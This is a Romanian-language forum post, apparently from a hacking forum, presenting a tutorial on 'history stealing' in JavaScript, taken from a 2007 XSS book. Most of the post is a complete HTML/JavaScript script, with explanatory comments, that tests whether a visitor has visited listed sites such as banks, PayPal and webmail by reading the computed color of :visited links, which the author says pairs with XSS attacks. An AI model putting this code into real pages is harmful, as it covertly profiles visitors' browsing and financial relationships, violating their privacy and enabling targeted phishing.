Jump to content
michee

History Stealing din JS

Recommended Posts

Probabil ca unii stiu deja, membrii VIP si cei care au cedit cartea XSS atacks 2007.....de acolo am luat acest tutorial si m-am gandit sa-l postez si sa explic. Merge mana in mana cu XSS-ul deci


<html>
<body>
<H3>Visited</H3>
<ul id="visited">[/list]
<H3>Not Visited</H3>
<ul id="notvisited">[/list]
<script>
/* Aici creez o lista de site-uri pe care vreau sa stiu daca au fost vizitate sau nu de catre user-ul respectiv */
var websites = [
"http://ha.ckers.org",
"http://jeremiahgrossman.blogspot.com/",
"http://mail.google.com/",
"http://mail.yahoo.com/",
"http://www.e-gold.com/",
"http://www.amazon.com/",
"http://www.bankofamerica.com/",
"http://www.whitehatsec.com/",
"http://www.bofa.com/",
"http://www.citibank.com/",
"http://www.paypal.com/",
];
/* Parcurg array-ul websites */
for (var i = 0; i < websites.length; i++) {
/* Creez un link cu un id unic ptr fiecare website in parte*/
var link = document.createElement("a");
link.id = "id" + i;
link.href = websites[i];
link.innerHTML = websites[i];

/* Deci cum am zis mai sus fiecare link are un id unic. Ptr fiecare id
creez un stil in cazul in care link-ul respectiv a fost vizitat. Acest fapt necesita cunostinte minime de css dupa cum stiti un link poate avea starile
link, visited,hover si active .

*/
document.write('<style>');
document.write('#id' + i + ":visited {color: #FF0000;}");
document.write('</style>');
/* Adaug link-ul in DOM si apoi ii dau remove. Aici este smecheria. Browserul afiseaza un link in culori diferite dupa cum a fost vizitat sau nu.

*/
document.body.appendChild(link);
var color =
document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
document.body.removeChild(link);
/* Folosind functia document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
Pot analiza cum imi afiseaza mie browser-ul link-ul respectiv.
*/
if (color == "rgb(255, 0, 0)") { // visited
/* Daca functia imi intoarce aceeasi culoare cu cea pe care am setat-o eu mai sus ptr stilul vizitat inseamna ca site-ul a fost vizitat */
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('visited').appendChild(item);
} else { // not visited
/* altfel nu a fost vizitat */
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('notvisited').appendChild(item);
}
}
</script>
</body>
</html>

Cum am zis creditele se duc la autorii cartii respective. Daca nu am fost destul de clar in explicatii astepta intrebari. Si mai usor cu flame-urile ca e primu meu tutorial, sper sa ajute pe careva.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...